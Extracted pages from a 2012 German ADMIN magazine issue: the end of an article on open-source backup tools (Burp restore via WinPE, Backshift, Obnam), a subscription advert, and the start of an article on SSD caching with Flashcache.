G Abbildung 1: Der <strong>Server</strong> ist mit wenigen Handgriffen einsatzbereit. Burp<br />
überträgt die Backup-Daten verschlüsselt zum <strong>Server</strong>.<br />
E Abbildung 2: In der <strong>Server</strong>-Konfiguration legt der Admin den Pfad zum<br />
Speichern der Backups auf dem <strong>Server</strong> fest.<br />
78 Ausgabe 04-2012 Admin www.admin-magazin.de
Open-Source-Backup<br />
Know-how<br />
Burp-Client-Konfiguration »C:\<br />
Programme\Burp\burp.conf«.<br />
Dabei empfiehlt es sich allerdings<br />
schon aus Platzgründen,<br />
die Auslagerungsdatei<br />
»pagefile.sys« mit<br />
exclude = C:/pagefile.sys<br />
auszuschließen.<br />
Das Starten des Backups funktioniert<br />
genauso wie beim<br />
Unix-Client, wahlweise in der<br />
Eingabeaufforderung oder<br />
der Powershell. Anschließend<br />
muss der Admin das knapp<br />
1,6 GByte große ISO-Image<br />
des AIK herunterladen, einer installieren.<br />
Sammlung von Tools, die die<br />
Konfiguration und Bereitstellung von<br />
Windows-Betriebssystemen unterstützen.<br />
Damit lässt sich beispielsweise eine<br />
Windows-Installation automatisieren.<br />
Das AIK ermöglicht es aber auch, Windows-Abbilder<br />
mit ImageX zu erfassen,<br />
Abbilder mit der „Abbildverwaltung für<br />
die Bereitstellung“ (Deployment Imaging<br />
Servicing and Management, DISM) zu<br />
konfigurieren oder Windows-PE-Abbilder<br />
zu erstellen.<br />
Außerdem kann der Administrator mit<br />
dem „Migrationsprogramm für den Benutzerstatus“<br />
(User State Migration Tool,<br />
USMT) des AIK auch Benutzerprofile und<br />
Daten migrieren. Windows AIK enthält<br />
darüber hinaus das „Volume Activation<br />
Management Tool“ (VAMT), das es OEM-<br />
Herstellern oder Integratoren erlaubt,<br />
den Aktivierungsvorgang für Volumenlizenzen<br />
mithilfe eines Mehrfachaktivierungsschlüssels<br />
(Multiple Activation<br />
Key, MAK) zu automatisieren. Nach dem<br />
Installieren von Windows AIK führt der<br />
Admin die folgenden Kommandos mit<br />
Administrator-Rechten aus.<br />
copype.cmd amd64 c:\winpe_amd64<br />
cd c:\winpe_amd64<br />
copy winpe.wim iso\sources\boot.wim<br />
dism /mount‐wim /wimfile:iso\sources\boot.U<br />
wim /index:1 /mountdir:mount<br />
Jetzt kann er wahlweise entweder das<br />
komplette Verzeichnis »C:\Programme\<br />
Burp« mit in die WinPE-Disk packen,<br />
indem er es in das Verzeichnis »mount\<br />
windows« kopiert, oder er lagert das<br />
Verzeichnis auf einem File-<strong>Server</strong><br />
zwischen. Danach gibt er die Befehle<br />
Abbildung 3: Der Windows-Client lässt sich mithilfe eines grafischen Installers<br />
dism /unmount‐wim /mountdir:mount /commit<br />
oscdimg ‐n ‐betfsboot.com iso winpe_amd64.iso<br />
ein, um ein Image zu erstellen, das er<br />
dann auf eine DVD/CD brennt.<br />
Komprimierte Images<br />
Das WIM-Format wird bei Microsoft<br />
für hochkomprimierte Images verwendet<br />
und verbraucht bis zu zwei Drittel<br />
weniger Speicher als das ursprüngliche<br />
Datenvolumen. »Copype.cmd« ist ein<br />
Skript zum Erstellen eines bootfähigen<br />
Windows-PE-RAM-Datenträgers auf CD-<br />
ROM. Anschließend muss der Admin<br />
eine bootfähige Disk mit dem WinPE-<br />
ISO-Image erzeugen, mit der er dann den<br />
wiederherzustellenden Rechner bootet,<br />
womit er schließlich in einem schlichten<br />
Kommando-Prompt der Form »X:\<br />
windows\system32« landet. Jetzt kann er<br />
eine neue Partition »C:« anlegen:<br />
select disk 0<br />
create partition primary<br />
active<br />
assign letter=C<br />
und dann formatieren:<br />
format fs=ntfs quick<br />
Ist das erledigt, kann er den Restore-Prozess<br />
durch Eingeben von<br />
cd C:\Programme\Burp\bin<br />
burp.exe ‐a r ‐f<br />
starten, wenn sich Burp auf der WinPE<br />
befindet. Alternativ kann er den Client-<br />
Installer beispielsweise von einem Da-<br />
tei-<strong>Server</strong> starten und dabei<br />
erneut mit den passenden<br />
Parametern (IP-Adresse, Clientname,<br />
Passwort) konfigurieren.<br />
Danach fährt der<br />
Administrator die Maschine<br />
herunter und bootet mit einer<br />
gewöhnlichen Windows7-<br />
Installations-Disk neu. Nach<br />
Auswahl von Sprache, Zeitzone,<br />
Währung, Tastatur<br />
wählt er im nächsten Schritt<br />
des Setup-Assistenten statt<br />
»Jetzt installieren« die »Computerreparaturoptionen«<br />
und<br />
im Folgeschritt den letzten<br />
Eintrag »Eingabeaufforderung«.<br />
Hier muss er »diskpart«<br />
erneut aufrufen, allerdings nur, um die<br />
Partition C: zu aktivieren und den Boot-<br />
Sektor wiederherzustellen:<br />
select disk 0<br />
select partition primary<br />
active<br />
bootrec /rebuildbcd<br />
Danach bootet er ein zweites Mal mit<br />
der Windows-7-Installations-Disk und<br />
wählt erneut »Computerreparaturoptionen«,<br />
allerdings sollte das System jetzt<br />
mit »Systemreparatur« in der Lage sein,<br />
selbstständig zu starten. Laut Graham<br />
Keeling führt dieser Workaround allerdings<br />
dazu, dass im Hauptverzeichnis<br />
des restaurierten Systems einige seltsame<br />
Einträge auftauchen wie »C:\$Recycle.<br />
Bin«, »C:\Documents and Settings«,<br />
»C:\System Volume Information«, »C:\<br />
Temp«und »C:\C:« sowie eine zusätzliche<br />
kleine Partition E:. Offenbar existieren<br />
diese Verzeichnisse versteckt auch im<br />
Originalsystem.<br />
Alternativen<br />
Als Alternativen zu Burp gibt es beispielsweise<br />
Obnam und Backshift, die<br />
vor Kurzem jeweils eine stabile Version<br />
veröffentlicht haben. Backshift [6] von<br />
Dan Stromberg ist ein relativ einfach gehaltenes<br />
Python-Programm, das keinen<br />
Client/<strong>Server</strong>-Modus kennt. Backshift<br />
unterstützt von Haus aus keine Verschlüsselung,<br />
gefällt aber durch die einfache<br />
Handhabung und dadurch, dass<br />
es die Daten beim Sichern komprimiert<br />
und dedupliziert, was zu einer enormen<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
79
Know-how<br />
Open-Source-Backup<br />
Platzersparnis führt. Der Autor betont<br />
ausdrücklich, dass es sich bei Backshift<br />
nicht nur um ein weiteres Tar-Frontend<br />
handelt, weil der implementierte Deduplizierungs-Algorithmus<br />
zu einer weit<br />
größeren Platzersparnis führe, als bloßes<br />
Komprimieren.<br />
Die relativ frische Backshift-Version 1.03<br />
v steht unter [6] im Quelltext (Python-<br />
Code) zum freien Download zur Verfügung.<br />
Zur Installation muss vor dem Eingeben<br />
von »make install« wie üblich eine<br />
Konfiguration erfolgen. Das Übersetzen<br />
entfällt, weil es sich um Python-Code<br />
handelt. Beim Konfigurieren kann sich<br />
der Admin zwischem Python-Interpreter<br />
CPython – dann genügt das Eingeben von<br />
»./configure« – oder Pypy [7] entscheiden.<br />
Pypy gilt in der aktuellen Version<br />
1.8 als geringfügig schneller und stabiler.<br />
Dann erfolgt die Konfiguration mit<br />
./configure ‐‐python /usr/local/U<br />
pypy‐1.8/bin/pypy<br />
Der Configure-Parameter »a ‐‐prefix /usr«<br />
legt fest, wo Backshift landet, per Default<br />
in »/usr/local«. Zum Erzeugen der<br />
Liste der zu sichernden Daten braucht<br />
Backshift ein externes Programm wie<br />
»find«. Der Aufruf von Backshift, etwa<br />
zum Sichern des kompletten Root-Filesystems<br />
könnte dann etwa so aussehen:<br />
find / ‐xdev ‐print0 | backshift ‐‐save-U<br />
directory /Pfade/zum/save‐directory ‐‐backup U<br />
‐subset slash ‐init‐savedir<br />
Weitere, auch komplexere Anwendungsbeispiele<br />
finden sich in der Dokumentation.<br />
Darüber hinaus hat sich der<br />
Backshift-Autor Dan Stromberg auch die<br />
Mühe gemacht, in einem informativen<br />
Vergleich aktuelle freie Netzwerk-Backup-<br />
Lösungen <strong>gegen</strong>überzustellen.<br />
Obnam [8] blickt bereits auf eine sechsjährige<br />
Entwicklungszeit zurück und<br />
wurde von Lars Wirzenius in den letzten<br />
sechs Jahren entwickelt. Doch auch<br />
erst seit dem Juni diesen Jahres gibt es<br />
die Version 1.0, die unter der GPLv3 lizensiert<br />
verfügbar ist. Was den Autor<br />
zur Entwicklung von Obnam antreibt,<br />
lässt sich der Ankündigung zur Version<br />
1.0 entnehmen. Demnach wollte der Autor<br />
ursprünglich eine Firma für Online-<br />
Backups gründen, konnte aber keine zu<br />
seinen Anforderungen passende Software<br />
finden. So entwickelte er kurzerhand Obnam<br />
als einfach handhabbares Backup-<br />
Programm.<br />
Auch Obnam ist in Python geschrieben<br />
und erstellt Backups ausschließlich mithilfe<br />
des SFTP-Protokolls. Obnam verschlüsselt<br />
zudem jedes Backup, das aus<br />
Sicht des Anwenders ein vollständiger<br />
Snapshot seiner Daten ist. Um Platz zu<br />
sparen, dedupliziert Obnam die Daten.<br />
Backups lassen sich wahlweise auf dem<br />
Client anstoßen, der diese dann auf den<br />
<strong>Server</strong> überträgt, oder vom <strong>Server</strong> aus<br />
starten. Der Algorithmus zur Deduplikation<br />
gehört zu den Highlights der<br />
Software und stützt sich im besonderen<br />
Maße auf B-Bäume, ähnlich wie das<br />
neue Linux-Dateisystem Btrfs [9]. Die<br />
Software zerlegt die Daten in Blöcke,<br />
speichert identische Blöcke aber nur ein<br />
einziges Mal, auch dann, wenn sie in<br />
verschiedenen Generationen des Backups<br />
in unterschiedlichen Dateien liegen.<br />
Für einen einfachen Aufruf von Obnam<br />
genügt das Eingeben von<br />
./obnam backup ‐‐repository U<br />
/Pfad/zum/Backup $HOME<br />
Mit der aktuellen Version lässt sich Obnam<br />
laut Entwickler Wirzenius in der<br />
Praxis verwenden, allerdings will er das<br />
Programm in Zukunft noch deutlich beschleunigen.<br />
Fazit<br />
Selbst bei einem so alten Thema wie<br />
Backups bringt die Open-Source-Welt<br />
ständig neue Programme hervor, sodass<br />
sich Platzhirsche wie Bacula und<br />
Amanda keineswegs sicher sein können,<br />
stets Admins erste Wahl zu sein. Nicht<br />
nur, dass ein kommerzieller Hersteller<br />
wie Arkeia mit einer kostenlosen Linux-<br />
Version lockt, es sind auch Neulinge, die<br />
sich für das eine oder andere Szenario<br />
anbieten, wenn das neue Programm interessante<br />
Features bietet, wie etwa Verschlüsselung<br />
oder Deduplizierung.<br />
Die im Beitrag vorgestellten Tools drängen<br />
sich vielleicht nicht gerade für den<br />
Einsatz in Großunternehmen auf, eignen<br />
sich aber für durchaus für kleine Firmen.<br />
Ebenfalls existierende Strategien für<br />
Cloud- oder Virtualisierungs-Infrastrukturen<br />
sind genauso wenig ein Ersatz für<br />
die Datensicherung einzelner Hosts wie<br />
eine vorhandene Hochverfügbarkeits-Lösung<br />
oder ein implementiertes Langzeit-<br />
Archivierungssystem. Auch die Frage des<br />
Sicherungsmediums und der gewählten<br />
-strategie will gut überlegt sein, hat aber<br />
nur bedingt etwas mit der gewählten<br />
Backup-Software zu tun.<br />
Burp beispielsweise gefällt besonders<br />
durch die Möglichkeit der Commandline-<br />
Steuerung, was Admins die Möglichkeit<br />
gibt, individuelle Backup-Strategien zu<br />
entwickeln. Für kommerzielle Komplettlösungen<br />
wie Arkeia oder SEP Sesa<br />
spricht aber zweifellos die Möglichkeit,<br />
Sicherungen organisatorisch als Virtual<br />
Tape Library (VTL) verwalten und als<br />
Endlager beliebige Bandlaufwerke, Band-<br />
Libraries und Autoloader verwenden zu<br />
können, egal ob via SCSI, SATA, iSCSI, FC,<br />
Infiniband, SAS oder USB angeschlossen.<br />
Wer darauf verzichten kann oder muss,<br />
findet in den hier vorgestellten Lösungen<br />
leistungsfähige Backup-Programme nach<br />
guter alter Unix-Art. (ofr)<br />
n<br />
Infos<br />
[1] Nachteile von Bacula aus Sicht von Burp-<br />
Autor Graham Keeling:<br />
[http:// burp. grke. net/ why. html]<br />
[2] Burp-Projektseite:[http:// burp. grke. net]<br />
[3] NTFS Junctions: [http:// support. microsoft.<br />
com/ ? kbid=205524]<br />
[4] Burp auf Sourceforge: [http:// sourceforge.<br />
net/ projects/ burp/ ? source=directory]<br />
[5] AIK für Windows 7: [http:// www. microsoft.<br />
com/ de‐de/ download/ details. aspx? id=5753]<br />
[6] Backshift: [http:// stromberg. dnsalias. org/<br />
~strombrg/ backshift/]<br />
[7] Pypy: [http:// pypy. org/]<br />
[8] Obnam: [http:// liw. fi/ obnam]<br />
[9] Marcel Hilzinger, Oliver Frommel, Das neue<br />
Linux-Dateisystem Btrfs im Detail, <strong>ADMIN</strong><br />
04/2009: [http:// www. admin‐magazin. de/<br />
Das‐Heft/ 2009/ 04/ Das‐neue‐Linux‐Dateisy<br />
stem‐Btrfs‐im‐Detail]<br />
Der Autor<br />
Thomas Drilling ist seit mehr als zehn Jahren<br />
hauptberuflich als freier Journalist und Redakteur<br />
für Wissenschafts- und IT-<strong>Magazin</strong>e tätig. Er<br />
selbst und das Team seines Redaktionsbüros verfassen<br />
regelmäßig Beiträge zu den Themen Open<br />
Source, Linux, <strong>Server</strong>, IT-Administration und Mac<br />
OSX. Außerdem arbeitet Thomas Drilling als Buchautor<br />
und Verleger, berät als IT-Consultant kleine<br />
und mittlere Unternehmen und hält Vorträge zu<br />
Linux, Open Source und IT-Sicherheit.<br />
80 Ausgabe 04-2012 Admin www.admin-magazin.de
JETZT<br />
MIT DVD!<br />
MAGAZIN<br />
Sonderaktion<br />
Testen Sie jetzt<br />
3 Ausgaben<br />
für 3 Euro!<br />
Jetzt schnell bestellen:<br />
• Telefon 07131 / 2707 274<br />
• Fax 07131 / 2707 78 601<br />
• E-Mail: abo@linux-magazin.de<br />
• Web: www.linux-magazin.de/probeabo<br />
Mit großem Gewinnspiel unter:<br />
www.linux-magazin.de/probeabo<br />
Gewinnen Sie...<br />
eines von Sieben „SECU4Bags“<br />
Einsendeschluss ist der 15.09.2012<br />
zur Verfügung gestellt von
Know-How<br />
Flashcache<br />
SSDs als Cache für Festplattenspeicher<br />
© Peter Lecko, 123RF<br />
Hochgeschwindigkeit<br />
Festplatten sind heute günstig, aber immer noch nicht besonders schnell,<br />
SSDs da<strong>gegen</strong> schnell aber teuer. Der Königsweg liegt derzeit darin,<br />
beides zu kombinieren und SSDs als schnelle Caches für Festplatten zu<br />
verwenden. Georg Schönberger<br />
Solid State Drives (SSDs) sind aus modernen<br />
IT-Umgebungen nicht mehr wegzudenken.<br />
Für große Storage-Systeme,<br />
die sowohl mit Kapazität als auch Performance<br />
glänzen sollen, kann eine Ausstattung<br />
rein mit SSDs aber schnell sehr<br />
kostspielig werden. Abhilfe schaffen hier<br />
SSD-Caching-Technologien, die eine Art<br />
„Hybrid-Speicher“ bereitstellen.<br />
Traditionelle Festplatten (HDDs) werden<br />
dabei mit SSDs kombiniert und vereinen<br />
die Vorteile beider Welten. Die SSD fungiert<br />
als Cache für die Festplatten und<br />
beschleunigt mit ihrer größeren Performance<br />
Lese- und Schreibzugriffe. Dieser<br />
Geschwindigkeitsvorteil kommt vor<br />
allem dann zum Vorschein, wenn die<br />
typischerweise genutzten Datenmengen<br />
die Größe des Arbeitsspeichers (RAM)<br />
überschreiten, die Größe der SSD jedoch<br />
nicht. Im Regelfall wird ungenutzter Arbeitsspeicher<br />
als Page Cache für die Bufferung<br />
von Dateien verwendet. Das Linux<br />
Kommando »free ‐m« zeigt in der Spalte<br />
»cached«, wie viele MByte gerade als<br />
Cache dienen. Nicht immer aber reicht<br />
der Page Cache für ein Datenset aus, und<br />
in manchen Fällen übersteigt es sogar<br />
die maximal mögliche Größe des RAM<br />
eines Hosts.<br />
Ist der Page Cache zu klein für ein Datenset,<br />
müssen normalerweise Teile davon<br />
auf der Festplatte bleiben. Der Performance-Unterschied<br />
zwischen RAM und<br />
HDD wird durch eine SSD-Zwischenschicht<br />
gemindert. Passt das Datenset<br />
auf die SSD, werden Lese- und Schreiboperationen<br />
komplett auf SSD-Ebene abgearbeitet.<br />
Nur zur Synchronisation der<br />
Daten muss auf die HDD zurückgegriffen<br />
werden.<br />
Facebook-erprobt<br />
Flashcache bietet eine einfache softwarebasierende<br />
Lösung für die Verwendung<br />
eines SSD-Caches. Es wird aktuell von<br />
Facebook entwickelt und aktiv in deren<br />
<strong>Server</strong>umgebungen eingesetzt [1]. Bevor<br />
jedoch SSD-Caching für den eigenen Gebrauch<br />
zum Einsatz kommen kann, gibt<br />
es wichtige Fragen zu klären:<br />
n Welches Zugriffsmuster zeigen die verwendeten<br />
Applikationen? Greifen sie<br />
eher nur lesend auf die Daten zu oder<br />
besteht ein ausgewogenes Verhältnis<br />
zwischen Lesen und Schreiben?<br />
n Wie groß ist die Datenmenge, die die<br />
Applikationen benötigen? Reicht der<br />
vorhandene Arbeitsspeicher aus, um<br />
die Daten im Page Cache zu halten,<br />
oder sind sie häufig größer? Würde<br />
sich das vorhandene Datenset für einen<br />
SSD-Cache eignen?<br />
n Gibt es aktuelle Messungen, die<br />
Performance-Einbußen aufgrund des<br />
Einflusses der Speicher-Systeme belegen?<br />
Aus diesen Fragen geht hervor, dass SSD-<br />
Caching und somit auch Flashcache kein<br />
Allheilmittel für eine Performance-Steigerung<br />
sind. Nur wer sein System und<br />
dessen Verhalten genau kennt, kann mit<br />
einem SSD-Cache Erfolge erzielen.<br />
Flashcache eignet sich vor allem durch<br />
seine Einfachheit und die Verfügbarkeit<br />
als Open-Source-Software als Kandidat<br />
für eine erste Tuchfühlung mit Caching.<br />
Der Quellcode kann von Facebooks Github-Webseite<br />
heruntergeladen und unter<br />
Linux in ein Kernel-Modul übersetzt wer-<br />
82 Ausgabe 04-2012 Admin www.admin-magazin.de
Flashcache<br />
Know-How<br />
den. Flashcache baut auf dem<br />
Linux Device Mapper auf, einer<br />
Komponente im Linux-I/<br />
O-Stack die unter anderem<br />
der Logical Volume Manager<br />
(LVM) nutzt [2]. Die Flexibilität<br />
dieser Architektur zeigt<br />
sich bei Flashcache zum Beispiel<br />
in der Tatsache, dass ein<br />
redundanter Cache aus mehreren<br />
SSDs erzeugt werden<br />
kann oder einzelne Partitionen<br />
der SSD für unterschiedliche<br />
HDDs zum Einsatz kommen<br />
können.<br />
Caching-Modi<br />
In Bezug auf die Cache-Art unterstützt<br />
Flashcache drei Varianten: Write-Back,<br />
Write-Through und Write-Around<br />
Caching (Abbildung 1) [3]. Der Write-<br />
Back-Modus bietet als einziger Modus<br />
die Möglichkeit zur Beschleunigung von<br />
Schreibzugriffen („Writes“). Diese Writes<br />
schreibt das Modul im ersten Schritt auf<br />
die SSD und synchronisiert sie später im<br />
Hintergrund mit der HDD – dieser Vorgang<br />
wird auch als „Lazy Dirty Cleaning“<br />
bezeichnet. Diese „Dirty Pages“ sind jene<br />
Blöcke, die sich im Cache auf der SSD<br />
befinden, aber noch nicht auf die HDD<br />
geschrieben wurden.<br />
In diesem Zusammenhang zeigt sich die<br />
Wichtigkeit eines redundanten Caches<br />
bei der Verwendung von Write-Back.<br />
Fällt eine SSD aufgrund eines Hardware-<br />
Fehlers aus, gehen die Dirty Pages unwiederbringlich<br />
verloren und können im<br />
schlimmsten Fall ein ganzes Dateisystem<br />
lahmlegen. Eine redundante Auslegung<br />
der Caching-SSDs, zum Beispiel durch<br />
einen RAID1-Verbund, kann dieses Desaster<br />
verhindern. Vorsicht: Wenn eine<br />
SSD des RAID-Verbunds ausfällt, läuft<br />
der Write-Back-Modus weiter, einen<br />
automatisierten Wechsel in den Write-<br />
Through-Modus gibt es bislang noch<br />
nicht. Im Fehlerfall ist daher aus Gründen<br />
der Datensicherheit ein rascher Tausch<br />
der defekten SSD nötig.<br />
Wird ein Cache im Write-Through-Modus<br />
eingesetzt, schreibt das Modul synchron<br />
auf die SSD und die HDD. Der<br />
Geschwindigkeits-Vorteil der SSD kommt<br />
in diesem Fall also beim Schreiben nicht<br />
zur Geltung, da die Zugriffe erst dann<br />
Abbildung 1: Die drei Cache-Arten, die Flashcache unterstützt.<br />
abgeschlossen sind, wenn sie auch auf<br />
der langsameren HDD abgeschlossen<br />
sind. Der Vorteil des Cache macht sich<br />
erst bei darauffolgenden Lesezugriffen<br />
bemerkbar, bei denen die Daten von der<br />
SSD bereitgestellt werden können.<br />
Im Write-Around-Modus wird die SSD als<br />
reiner Lese-Cache verwendet. Der Cache<br />
füllt sich erst nach und nach durch die<br />
Lesezugriffe.<br />
Cache-Persistenz<br />
Zurzeit bleibt nur beim Write-Back-Modus<br />
der Cache-Inhalt über einen Reboot<br />
hinweg erhalten (persistenter Cache).<br />
Dies resultiert daraus, dass Flashcache<br />
nur für Write-Back Cache-Metadaten auf<br />
der SSD verwaltet. Für die anderen beiden<br />
Modi betreibt es diesen Aufwand zur<br />
Zeit noch nicht. Dieses Fehlen der Metadaten<br />
hat nicht nur Nachteile: Für Dirty<br />
Pages müssen bei einem Write und Clean<br />
immer auch die Metadaten geschrieben<br />
werden. Um nicht jedes Mal für jeden<br />
Block die Metadaten aktualisieren zu<br />
müssen, gibt es ein Batching für mehrere<br />
verschiedene Metadaten-Blöcke und für<br />
sequenzielle Updates desselben Blocks.<br />
Bei einem Reboot oder Shutdown des<br />
Hosts werden im Falle von Write-Back<br />
alle Dirty Pages von der SSD auf die HDD<br />
synchronisiert – das lässt sich manuell<br />
auch über »dmsetup remove« erreichen<br />
(siehe unten). Da<strong>gegen</strong> entfernt »sysctl<br />
(fast_remove)« den Cache ohne Synchronisation.<br />
Diese Option birgt immer ein<br />
gewisses Risiko, da sich Daten im Cache<br />
befinden, die noch nicht auf der Festplatte<br />
gelandet sind.<br />
Metadaten werden beim kontrollierten<br />
Entfernen für alle<br />
Cache-Blöcke auf die SSD geschrieben,<br />
bei einem Node-<br />
Crash hin<strong>gegen</strong> bleiben nur<br />
die Dirty-Blöcke im Cache<br />
erhalten. Für Write-Through<br />
und Write-Around bedeutet<br />
ein Remove beziehungsweise<br />
Neustart des Hosts einen Verlust<br />
des Caches. Nichtsdestotrotz<br />
kann für alle drei Fälle<br />
ein sauberes Entfernen des<br />
Caches sinnvoll sein, zum<br />
Beispiel, wenn das Flashcache-Modul<br />
neu kompiliert<br />
und geladen werden muss.<br />
Volume-Verwaltung<br />
Flashcache bringt drei Kommandozeilen-<br />
Werkzeuge für die Administration von<br />
Cache-Volumes mit: »flashcache_create«,<br />
»flashcache_load« und »flashcache_<br />
destroy«. Die Zugehörigkeit zum Device<br />
Mapper (DM) ist der Grund dafür, dass<br />
Cache-Volumes auch via »dmsetup« verwaltet<br />
werden könnten. Die Flashcache-<br />
Tools erleichtern aber wesentlich den<br />
Umgang, und nur selten wird der Weg<br />
direkt über den DM nötig sein.<br />
Beim Anlegen eines Caching Volumes mit<br />
»flashcache_create« sind vor allem der<br />
Caching-Modus (»‐p«), die Cache-Größe,<br />
die Block-Größe, ein Volume-Name sowie<br />
die Pfade zur SSD und HDD wichtig.<br />
Wird die Cache-Size (»‐s«) nicht angegeben,<br />
verwendet Flashcache die gesamte<br />
SSD als Cache-Device für das Volume.<br />
Ohne Angabe einer Block-Größe (»‐b«)<br />
kommt die Standardgröße von 4 KByte<br />
zum Einsatz. Listing 1 erstellt ein Write-<br />
Back-Cache namens »fc‐root« mit »/dev/<br />
sdd« als SSD und »/dev/sdc« als HDD .<br />
Nach dem Aufruf von »flashcache_create«<br />
erscheint das Volume unter dem Pfad »/<br />
dev/mapper/fc‐root«. Daraufhin kann<br />
man ein Ext4-Filesystem anlegen und das<br />
Volume eingehängen.<br />
Wer sich wundert, warum der Cache<br />
nach dem Mount bereits gecachte Blöcke<br />
Listing 1: Erstellen und Mounten<br />
01 :~$ flashcache_create ‐v ‐p back fc‐root /dev/sdd /<br />
dev/sdc<br />
02 :~$ mkfs.ext4 /dev/mapper/fc‐root<br />
03 :~$ mount /dev/mapper/fc‐root /mnt<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
83
Know-How<br />
Flashcache<br />
enthält, sei auf die Lazy Initialization von<br />
Ext4 verwiesen. Der Kernel-Prozess »ext-<br />
4lazyinit« initialisiert zu Beginn die Inode<br />
Tables des Filesystems. Ist dies nicht gewünscht,<br />
müssen »mkfs.ext4« mit der<br />
Option »‐E« die Parameter »lazy_itable_<br />
init=0,lazy_journal_init=0« übergeben<br />
werden [4].<br />
Einmal erstellte Flashcache-Volumes lassen<br />
sich mit frm Befehl »flashcache_load«<br />
wieder laden. Der Load-Befehl kann nur<br />
für Write-Back-Volumes verwendet werden,<br />
da dies die einzige persistente Variante<br />
ist. Für Write-Through und Write-<br />
Around muss man nach jedem Remove<br />
wieder einen neuen Cache erstellen.<br />
Zerstörung<br />
Das Kommando »flashcache_destroy«<br />
zerstört einen Cache samt all seinen Daten.<br />
Ein Entfernen eines Cache-Volumes<br />
erfolgt direkt über den DM-Befehl »dmsetup<br />
remove«. Der Remove-Aufruf kehrt<br />
für ein Write-Back-Volume erst dann zurück,<br />
wenn alle Dirty Pages auf die HDD<br />
geschrieben sind. Dieses Blockieren garantiert<br />
ein sauberes Aushängen des Volumes,<br />
das via Load-Befehl später wieder<br />
geladen werden kann (Abbildung 2).<br />
Für die Überwachung der Cache-Funktion<br />
stellt Flashcache mehrere Statistiken<br />
bereit, die sich mit »dmsetup status« und<br />
»dmsetup table« anzeigen lassen. Der<br />
Status-Befehl zeigt vor allem die Leseund<br />
Schreibstatistiken. Wichtig hierbei<br />
sind zum Beispiel die Angaben zu den<br />
Treffern im Cache (»read hit« und »write<br />
hit percent«) oder Lese- und Schreiboperationen<br />
auf SSD und HDD (»disk/ssd<br />
reads« und »writes«).<br />
»dmsetup table« beinhaltet dazu noch<br />
einige Konfigurations-Informationen des<br />
Volumes (Listing 2). Von Interesse ist<br />
auch das Größen-Histogramm der abgesetzten<br />
I/O-Operationen (Size Hist).<br />
Flashcache cacht immer nur Blockzugriffe,<br />
die gleich oder ein Vielfaches der<br />
Blockgröße des Caches sind (Standardgröße<br />
4 KByte). Eine steigende Anzahl an<br />
512-Byte-I/Os signalisiert, dass Zugriffe<br />
einer Applikation nicht gecacht werden.<br />
Vorsicht ist somit auch bei Flashcache-<br />
Performance-Tests mit dem beliebten<br />
Werkzeug »dd« geboten, da es standardmäßig<br />
mit 512 Byte als Block-Größe arbeitet.<br />
Tuning<br />
Ein Flashcache-Volume bietet zahlreiche<br />
Konfigurationsmöglichkeiten über<br />
»sysctl« an. Diese Kontroll-Optionen eignen<br />
sich nicht nur zum Anpassen eines<br />
Flashcache-Volumes an die eigenen Bedürfnisse,<br />
sondern geben auch nützliche<br />
Informationen über die interne Funktionsweise.<br />
Der folgende Abschnitt zeigt<br />
einige Repräsentanten der Optionen:<br />
Der Sysctl »cache_all« erlaubt es, das<br />
Caching ein- und auszuschalten. Auf<br />
Black- und Whitelisting von Prozess-IDs<br />
hat diese Option großen Einfluss (siehe<br />
unten). Auch wenn kurzzeitig Test- oder<br />
temporäre Daten nicht im Cache landen<br />
dürfen, ist es sinnvoll, den Cache zu deaktivieren,<br />
um die SSD nicht mit nicht<br />
benötigten Daten zu füllen.<br />
Basierend auf der Storage-Architektur<br />
hinter der SSD, gibt es Szenarien, bei<br />
denen sich ein SSD-Cache negativ auf<br />
die Performance auswirkt. Wird die SSD<br />
als Cache für ein RAID-Array genutzt,<br />
dessen Durchsatz für sequenzielle Zugriffe<br />
größer ist als jener der SSD, macht<br />
sich der Cache negativ bemerkbar. Das<br />
betrifft Schreib- und Leseoperationen<br />
gleichermaßen. Beim Schreiben ist der<br />
Einfluss der SSD-Schreibgeschwindigkeit<br />
offensichtlich, beim ungecachten Lesen<br />
erschließt er sich erst auf den zweiten<br />
Blick: Werden Daten gelesen, die sich<br />
nicht im SSD-Cache befinden, ist die<br />
Lese-Operation erst dann abgeschlossen,<br />
wenn der angeforderte Bereich vom RAID<br />
gelesen, in den SSD-Cache geschrieben<br />
und schließlich an die Applikation weitergegeben<br />
wurde [5].<br />
Die SSD-Schreib-Performance ist deshalb<br />
ein wesentlicher Faktor für die Performance-Verbesserung.<br />
Für sequenzielle<br />
Zugriffe existiert mit »skip_seq_thresh_<br />
kb« ein Schwellwert, über den sich die<br />
SSD-Defizite etwas ausgleichen lassen.<br />
Weist man ihm zum Beispiel den Wert<br />
1024 zu (standardmäßig 0), landen alle<br />
sequenziellen I/Os über 1024 Kilobyte<br />
nicht mehr im Cache. Die niedrigere Performance<br />
der SSD für sequenzielle Zugriffe<br />
wird dadurch eliminiert.<br />
Strategien<br />
Die beiden Tuning-Parameter »fallow_delay«<br />
und »dirty_thresh_pct« sind nur für<br />
den Write-Back-Modus von Bedeutung.<br />
Wie bereits erwähnt, werden Dirty Pages<br />
im Hintergrund von der SSD auf die HDD<br />
synchronisiert. Die Auswahl der Blöcke<br />
erfolgt entweder aufgrund eines Timeouts<br />
(»fallow_delay«) oder beim Überschreiten<br />
eines Schwellwerts (»dirty_thresh_pct«).<br />
Das Timeout kommt dann zum Zug,<br />
wenn ein Dirty Block im Cache für längere<br />
Zeit weder gelesen noch geschrieben<br />
wurde. Nach Überschreitung dieser Zeit<br />
im Idle-Zustand werden die Block-Daten<br />
auf die HDD geschrieben, und der Block<br />
verliert somit seinen Dirty-Zustand („Idle<br />
Cleaning“).<br />
Der zweite Parameter bestimmt den<br />
Prozentanteil an Dirty-Blöcken eines<br />
Listing 2: Status-Überblick über das Volume<br />
01 :~$ dmsetup table fc‐root<br />
02 fc‐root: 0 3907029168 flashcache conf:<br />
03 ssd dev (/dev/sdd), disk dev (/dev/sdc) cache<br />
mode(WRITE_BACK)<br />
04 capacity(32638M), associativity(512), data<br />
block size(4K) metadata block size(4096b)<br />
05 skip sequential thresh(0K)<br />
06 total blocks(8355328), cached<br />
blocks(1048668), cache percent(12)<br />
07 dirty blocks(1048662), dirty percent(12)<br />
08 nr_queued(0)<br />
09 Size Hist: 1024:1 4096:9765813<br />
Abbildung 2: Schematischer Ablauf der Verwaltung eines Cache-Volumes.<br />
84 Ausgabe 04-2012 Admin www.admin-magazin.de
Flashcache<br />
Know-How<br />
